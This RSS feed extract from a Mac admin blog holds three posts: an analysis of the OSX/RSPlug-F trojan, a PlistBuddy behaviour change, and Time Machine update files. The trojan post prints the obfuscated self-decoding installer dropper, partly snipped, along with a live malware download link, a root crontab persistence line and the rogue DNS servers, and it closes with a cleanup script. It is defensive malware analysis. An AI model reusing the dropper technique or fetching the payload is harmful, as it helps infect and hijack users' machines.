		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=70</guid>
		<description><![CDATA[OK&#8230; I might be a bit late to the party (and Conficker is grabbing all the headlines) but there were some interesting things I found looking at the  headline grabbing trojan OSX/RSPlug-F. Thanks to the effervescent Graham Cluley for his witty post with video demonstration of OSX/RSPlug-F being detected. It&#8217;s what started this investigation. So, being [...]]]></description>
			<content:encoded><![CDATA[<p>OK&#8230; I might be a bit late to the party (and Conficker is grabbing all the headlines) but there were some interesting things I found looking at the  headline grabbing trojan <a href="http://www.sophos.com/security/blog/2009/03/3710.html" target="_blank">OSX/RSPlug-F</a>. Thanks to the effervescent Graham Cluley for his <a href="http://www.sophos.com/blogs/gc/g/2009/03/25/apple-mac-malware-caught-camera/" target="_blank">witty post</a> with video demonstration of OSX/RSPlug-F being detected. It&#8217;s what started this investigation.</p>
<p>So, being the curious guy I am I decided to download the very same file Graham did in his demo. While, hdtvxvid.org had since fixed their hijacked page, luckily the status bar had a readable URL that with some squinting I was able to decipher it&#8230; So I downloaded the sucker, you can too!</p>
<p>Live Code: <a href="http://plumpals.com/download/654a635065413d3df111c253/HDTVPlayerv3.5.exe" target="_blank">OSX/RSPlug-F trojan</a></p>
<p>And what else can I say but: I&#8217;ll be darned if I can get the thing to <strong>work</strong>! Actually I do get it to work, but due to some coding errors out of the box, it&#8217;s a dud.</p>
<p>So let&#8217;s start the dissection:</p>
<p>The URL downloads HDTVPlayerv3.5.dmg, inside is contained install.pkg, which if you&#8217;re using Safari on a Mac and have the damnable default of &#8220;Open &#8216;Safe&#8217; files after Downloading&#8221; it&#8217;ll go right to the installer. Which let me note <strong>Open &#8220;Safe&#8221; Files after downloading </strong>is the<strong> stupidest</strong> thing to happen to browsers since Active-X. The air quotes around &#8220;Safe&#8221; do not help, Apple, it&#8217;s a sly wink and a nod that <strong>no file type is totally safe</strong> but *shrug* whatcha gonna do? I&#8217;ll tell you what: <strong>don&#8217;t make it a dang default</strong>!</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/firefox-rsplug-cached-before-clicking-save.jpg"><img class="alignnone size-full wp-image-86" title="firefox-rsplug-cached-before-clicking-save" src="http://www.brunerd.com/blog/wp-content/uploads/firefox-rsplug-cached-before-clicking-save.jpg" alt="firefox-rsplug-cached-before-clicking-save" width="550" height="316" /></a></p>
<p><strong>Firefox</strong> is not off the hook either, let me bring up the poisonous Firefox convenience: &#8220;predownloading&#8221;. Did everyone notice how the virus alert for Graham pops up before he clicks save? How Firefox initiates downloads immediately to <a href="http://www.brunerd.com/blog/wp-content/uploads/firefoxcache-pre_downloading.jpg" target="_blank">cache</a> and upon the user clicking Save it copies it to the destination or if the click Cancel it stays there. I think Firefox&#8217;s behaviour is ridiculous, yes it might make me happy when I download some ginormous game demo and come back hours later having forgotten to click Save and am pleasantly surprised that &#8220;hey it&#8217;s already here!&#8221;, but otherwise let me decide what and when something goes on my hard drive.</p>
<p>Anyway&#8230; let&#8217;s look at an Installer window the average user won&#8217;t look at: Show Files</p>
<p>./AdobeFlash<br />
./Mozillaplug.plugin<br />
./Mozillaplug.plugin/Contents<br />
./Mozillaplug.plugin/Contents/Info.plist<br />
./Mozillaplug.plugin/Contents/MacOS<br />
./Mozillaplug.plugin/Contents/MacOS/VerifiedDownloadPlugin<br />
./Mozillaplug.plugin/Contents/Resources<br />
./Mozillaplug.plugin/Contents/Resources/VerifiedDownloadPlugin.rsrc<br />
./Mozillaplug.plugin/Contents/version.plist</p>
<p>First couple of suspect thing is a single flat file called AdobeFlash and then Mozillaplug.plugin, which is really just the <a href="http://unsanity.org/archives/mac_os_x/reminder_verifi.php" target="_blank">mysterious</a> VerifiedDownloadPlugin. No mention of Cinema eh?</p>
<p>Take a gander in <strong>Info.plist of install.pkg</strong> to see where it goes:<br />
IFPkgFlagDefaultLocation <em>/Library/Internet Plug-Ins/<br />
</em></p>
<p>So then, why would it need root privileges for an admin writable folder, eh?<br />
<a href="http://www.brunerd.com/blog/wp-content/uploads/redflag.png"><img class="alignnone size-full wp-image-84" title="redflag" src="http://www.brunerd.com/blog/wp-content/uploads/redflag.png" alt="redflag" width="514" height="407" /></a><br />
<strong>IFPkgFlagAuthorizationAction </strong><em>RootAuthorization</em>, for those following along in the Info.plist<br />
Bonus: <strong>CFBundleGetInfoString</strong> = <em>who cares<br />
<span style="font-style: normal;">Double Secret Bonus:<br />
Resource/en.lproj/Description.plist <strong>IFPkgDescriptionDescription</strong><em> = shutdafuckup</em></span></em></p>
<p>Strangely when you look in both the logs created by Installer.app in /var/log/installer.log:<br />
Leopard it says: <code>"<strong>admin</strong> auth received to install"<br />
</code>Tiger says: <code>"<strong>Administrator</strong> authorization granted."<br />
</code>I don&#8217;t know why you wouldn&#8217;t want the logs to clearly state root privileges were given, but there you have it, it doesn&#8217;t.</p>
<p>So what does it do with the root privileges? Hmmm? Let&#8217;s look in the preinstall/preupgrade <a href="http://www.brunerd.com/blog/wp-content/uploads/osx-rsplug-f_preinstall.txt">scripts</a> which are identical because apparently the author didn&#8217;t realize that a preflight script would kill two birds with one stone.</p>
<p><code>#!/bin/sh<br />
if [ $# != 1 ]; then type=0; else type=1; fi &amp;&amp; tail -37 $0 | sed '/\n/!G;s/\(.\)\(.*\n\)/&amp;\2\1/;//D;s/.//' | uudecode -o /dev/stdout | sed 's/applemac/AdobeFlash/' | sed 's/bsd/7000/' | sed 's/gnu/'$type'/' &gt;`uname -p` &amp;&amp; sh `uname -p` &amp;&amp; rm `uname -p` &amp;&amp; exit<br />
yksrepsak 777 nigeb<br />
O(2/H178PI@(C%6;EQ&amp;&lt;#-RX"-Y(2/21$1!!52M<br />
.... &lt;SNIP&gt; ....<br />
*4F;DI`8*(B(`A$8*TD(`5T4^&lt;3+4EC-8<br />
`<br />
dne<br />
</code></p>
<p>OK, so it takes the tail of itself , does some sed magic to flip around the reveresed UUEncoded data, spit it out, replace &#8216;applemac&#8217; with &#8216;AdobeFlash&#8217; (remember that&#8217;s in the bom payload), replace bsd with 7000, gnu with a boolean value that depends on whether there are any arguments when the script is called. Then after all that sed nonsense, names the file the result of uname -p, attempts to execute the file (as root), delete that file, then exit.</p>
<p>Well, we&#8217;ll get to the &#8216;unencrypted&#8217; payload in a sec let&#8217;s run this and see what happens <a href="http://www.brunerd.com/blog/wp-content/uploads/leopard-fail.txt">leopard-fail</a> anf <a href="http://www.brunerd.com/blog/wp-content/uploads/tiger-fail.txt">tiger-fail</a> &#8212; they fail. As a consequence, the AdobeFlash is NOT installed, but it is the same code as the preinstall so, still not off the hook here.Let&#8217;s see where we&#8217;re at:</p>
<p>The root crontab is altered to inlude: <code>* */5 * * * /Library/Internet Plug-Ins/AdobeFlash<br />
</code>Since the script fails, the package does not install, so the crontab pointing to it is useless&#8230;</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/i386.txt">i386</a> is left in the root, it doesn&#8217;t get a chance to delete itself, considering that all those &amp;&amp; statements mean &#8220;execute the next step only if the last thing completed correctly&#8221;, since it fails it doesn&#8217;t get deleted.</p>
<p>i386 contains some more backward UUEncoded data with and some more sed replacements, then pipes it all into perl, here&#8217;s the <a href="http://www.brunerd.com/blog/wp-content/uploads/rsplug-f_perl.txt">perl code</a> it attempts to run, but unfortunately it fails on line 14 and goes no further. But let&#8217;s say we fix the code so it can talk to the server, get a response, and parse the output into a file&#8230;</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/685.txt">685</a> is downloaded to /tmp where it runs, does some more sed string swaps, secret decoder ring translations for the DNS servers, outputs <a href="http://www.brunerd.com/blog/wp-content/uploads/rsplug-f_scutil-dnschange.txt">this</a> &#8212; the nasty part that changes your DNS entries, then deletes the temp file. It makes good use of the very handy concept of &#8220;here documents&#8221; to script scutil to change the DNS servers, which seem to rotate, you&#8217;ll get new servers everytime you run it, suffice to say, the Ukranian subnet of 85.255.112.xxx is totally compromised, as well as 94.247.2.109 the Latvian server from which the files are downloaded. But who knows who&#8217;s financing and running it in this global day and age. But the propensity for <a href="http://en.wikipedia.org/wiki/Matryoshka_doll" target="_blank">matryoshka</a> style nested code seems telling <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Running some dig commands to get DNS answers from the servers reveals they are given back valid addresses, currently, but I only tested a few sites, it might only have redirection for select dummy bank sites they have set up, who knows&#8230;</p>
<p>The lesson here is: Always use Installer to look at the Files, see what your authorization level is, check out the pre/post scripts and generally <strong>do what only 1% of the most vigilant of the population would do and you&#8217;ll be fine</strong>. Hopefully, root authorization will carry more weight in the Installer.app UI and say &#8220;Hey are your sure you want to grant <strong>root</strong> &#8212; REALLY!?&#8221;, pre/postflight scripts will be easier to look in UI (I <strong>am</strong> dreaming aren&#8217;t I), the logs won&#8217;t lie about the auth level (very do-able), and Firefox will respect my wishes and only truly Save when <strong>I</strong> click Save&#8230; (it&#8217;s open source, easy to change, but it&#8217;ll take a flame war to settle it)</p>
<p>Until then, I hope you enjoyed this malware tour, stay safe and away from porn sites with 3rd party HD codecs.</p>
<p>Update:<br />
I suppose it&#8217;d be helpful to add some instructions on how to reverse the scutil modifications, here&#8217;s the <a href="http://www.brunerd.com/blog/wp-content/uploads/reset-dns.sh">script</a> (the code might look familiar)</p>
<p><code>#!/bin/sh<br />
if (( $(id -u) != 0 )); then echo "Please run with sudo" &amp;&amp; exit 1; fi<br />
PSID=$( (/usr/sbin/scutil | /usr/bin/grep PrimaryService | /usr/bin/sed -e 's/.*PrimaryService : //')&lt;&lt; EOF<br />
get State:/Network/Global/IPv4<br />
d.show<br />
quit<br />
EOF<br />
)</code></p>
<p><code> </code></p>
<p><code>/usr/sbin/scutil &lt;&lt; EOF<br />
remove State:/Network/Service/$PSID/DNS<br />
quit<br />
EOF</p>
<p></code></p>
<p><code>echo "Please toggle your network adapter on/off to refresh DNS servers from DHCP"</code></p>
<p>Basically it nukes the DNS entries that got hosed, then pulls down the DHCP info, uless you have manually entered DNS settings, in which case, you should know what you&#8217;re doing.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>New PlistBuddy Behaviour</title>
		<link>http://www.brunerd.com/blog/2009/03/24/new-plistbuddy-behaviour/</link>
		<comments>http://www.brunerd.com/blog/2009/03/24/new-plistbuddy-behaviour/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 20:27:42 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Leopard]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Scripting]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=56</guid>
		<description><![CDATA[So, the new UniBody MacBooks come with a build 9G2133 of 10.5.6, currently build 9G55 of 10.5.6 is what&#8217;s out there. What&#8217;s more /usr/libexec/PlistBuddy has been updated as well 9G2133 (new): -rwxr-xr-x 1 root wheel 84400 Sep 24 17:21 PlistBuddy 9G55 (old): -rwxr-xr-x 1 root wheel 73792 Apr 7 2008 PlistBuddy What&#8217;s changed with PlistBuddy is [...]]]></description>
			<content:encoded><![CDATA[<p>So, the new UniBody MacBooks come with a build 9G2133 of 10.5.6, currently build 9G55 of 10.5.6 is what&#8217;s out there. What&#8217;s more <code>/usr/libexec/PlistBuddy</code> has been updated as well</p>
<p>9G2133 (new):<br />
<code>-rwxr-xr-x  1 root  wheel  84400 Sep 24 17:21 PlistBuddy</code></p>
<p>9G55 (old):<br />
<code>-rwxr-xr-x  1 root  wheel  73792 Apr  7  2008 PlistBuddy</code></p>
<p>What&#8217;s changed with PlistBuddy is this:<br />
* Now, exits with non-zero status on failure (like the man page says)<br />
* Writes errors to stderr instead of stdout</p>
<p>What this might mean to you is if you have a script that tests the stdout of PlistBuddy to detect errors, instead of the exit code (which hasn&#8217;t worked until now) then that script might just keep going and going and going&#8230;</p>
<p>For example: I use  PlistBuddy to add icons to the Dock in custom pkgs I make for work. So the other day when I ran the base packages, Adobe Acrobat being one of them, it just kept going, never fininshing, looking in install.log I found my script stuck in a loop, counting ever higher&#8230;</p>
<p><code>Mar 23 12:42:45 BlankMacBookUni runner[641]: postflight[648]: Print: Entry, "persistent-apps:<strong>546217</strong>:tile-data:file-label", Does Not Exist</code></p>
<p>In about 30 mins it had gotten up to 546,217 attempts to read the Dock plist (thas&#8217; a big log file!). Since my script was testing the stdout string which was now blank because it was going to stderr, it didn&#8217;t know it reached the end!</p>
<p>To illustrate how I changed the code to compensate for either version, here&#8217;s the snippet that will detect if it is at the end of the plist, based on the output (or lack thereof):</p>
<p>Old code:<br />
<code>if [[ "$output" == *Does\ Not\ Exist ]]; then</code></p>
<p>New Code:<br />
<code>if [[ "$output" == *Does\ Not\ Exist ]] || [ -z "$output" ]; then</code></p>
<p>So, we&#8217;ll see if this is rolled into 10.5.7, probably. For Tiger, I use the PlistBuddy found in /Library/Receipts/iTunesX.pkg/Contents/Resources/, as of iTunes 8.1 it is still the older version.</p>
<p>Hope this of use to someone. Thanks for reading.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2009/03/24/new-plistbuddy-behaviour/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>What&#8217;s in the Time Machine Update?</title>
		<link>http://www.brunerd.com/blog/2008/03/20/whats-in-the-time-machine-update/</link>
		<comments>http://www.brunerd.com/blog/2008/03/20/whats-in-the-time-machine-update/#comments</comments>
		<pubDate>Thu, 20 Mar 2008 18:40:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Leopard]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Packages]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/2008/03/20/whats-in-the-time-machine-update/</guid>
		<description><![CDATA[Here&#8217;s the meat of what gets updated: backup daemon helper &#38; file vault image tool, loginwindow.app, Broadcom and Aetheros wireless kexts. Lotsa System.kexts: BSD, IOKit, Libkern, MAC Framework, Mach. The AFP filesystem plugin, metadata framework, the backupd launch daemon plists, and the DiskImages framework.   /System/Library/CoreServices/SystemVersion.plist /System/Library/CoreServices/backupd.bundle/Contents/Resources/backupd-helper /System/Library/CoreServices/backupd.bundle/Contents/Resources/fvimagetool /System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow /System/Library/Extensions/IO80211Family.kext/Contents/PlugIns/AirPortAtheros.kext/Contents/MacOS/AirPortAtheros /System/Library/Extensions/IO80211Family.kext/Contents/PlugIns/AppleAirPortBrcm4311.kext/Contents/MacOS/AppleAirPortBrcm4311 /System/Library/Extensions /System.kext/PlugIns/BSDKernel.kext/BSDKernel /System/Library/Extensions /System.kext/PlugIns/IOKit.kext/IOKit [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s the meat of what gets updated: backup daemon helper &amp; file vault image tool, loginwindow.app, Broadcom and Aetheros wireless kexts. Lotsa System.kexts: BSD, IOKit, Libkern, MAC Framework, Mach. The AFP filesystem plugin, metadata framework, the backupd launch daemon plists, and the DiskImages framework.<br />
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"> </p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/CoreServices/SystemVersion.plist</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/CoreServices/backupd.bundle/Contents/Resources/backupd-helper</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/CoreServices/backupd.bundle/Contents/Resources/fvimagetool</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions/IO80211Family.kext/Contents/PlugIns/AirPortAtheros.kext/Contents/MacOS/AirPortAtheros</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions/IO80211Family.kext/Contents/PlugIns/AppleAirPortBrcm4311.kext/Contents/MacOS/AppleAirPortBrcm4311</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns/BSDKernel.kext/BSDKernel</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns/IOKit.kext/IOKit</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns/Libkern.kext/Libkern</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns/MACFramework.kext/MACFramework</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns/Mach.kext/Mach</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System6.0.kext/kernel.6.0</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns/Unsupported.kext/Unsupported</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Filesystems/AppleShare/afpfs.kext/Contents/MacOS/afpfs</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mds</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/LaunchDaemons/com.apple.backupd-attach.plist</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/LaunchDaemons/com.apple.backupd-auto.plist</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/LaunchDaemons/com.apple.backupd-wake.plist</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/PrivateFrameworks/DiskImages.framework/Versions/A/DiskImages/usr/share/man/man1/tmdiagnose.1</p></blockquote>
<p>Here&#8217;s hoping that the update in tandem with the Airport/Time Capsule  fixes some of the problems people have had with using a hard drive as an Airport disk on the Airport Extremes. For me it wasn&#8217;t even about Time Machine, the real pain was transfers were SLOW even over the 100Mb/s Ethernet (dangit I jumped the gun and didn&#8217;t get the GigE model) and sometimes the Airport Disk couldn&#8217;t be mounted on my computers until the Airport was restarted. Also with the update the ever mysterious Wide Area Bonjour prefs are still around, they are in the Name-Edit&#8230; button now.One more thing&#8230;/usr/share/man/man1/<strong>tmdiagnose</strong>.1: Hmmm, is this a Time Machine diagnostics tool?Let&#8217;s have a look at the <a href="http://developer.apple.com/documentation/Darwin/Reference/ManPages/man1/tmdiagnose.1.html">man page</a> or <a href="http://www.hmug.org/man/1/tmdiagnose.php">this one</a>:tmdiagnose(1)             BSD General Commands Manual            tmdiagnose(1)NAME tmdiagnose, Other_name_for_same_program(), Yet another name for the same program. &#8212; This line parsedfor whatis database.<br />
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote">
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote">tmdiagnose(1)             BSD General Commands Manual            tmdiagnose(1) </p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>NAME</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     tmdiagnose, Other_name_for_same_program(), Yet another name for the same program. &#8212; This line parsed</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     for whatis database.</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>SYNOPSIS</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     tmdiagnose, [-abcd] [-a path] [file] [file ...] arg0 arg2 &#8230;</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>DESCRIPTION</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     Use the .Nm macro to refer to your program throughout the man page like such: tmdiagnose, Underlining</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     is accomplished with the .Ar macro like this: underlined text.</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     A list of items with descriptions:</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     item a   Description of item a</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     item b   Description of item b</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     A list of flags and their descriptions:</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     -a       Description of -a flag</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     -b       Description of -b flag</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>FILES</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     /usr/share/file_name                          FILE_1 description</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     /Users/joeuser/Library/really_long_file_name  FILE_2 description</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>SEE ALSO</p></blockquote>
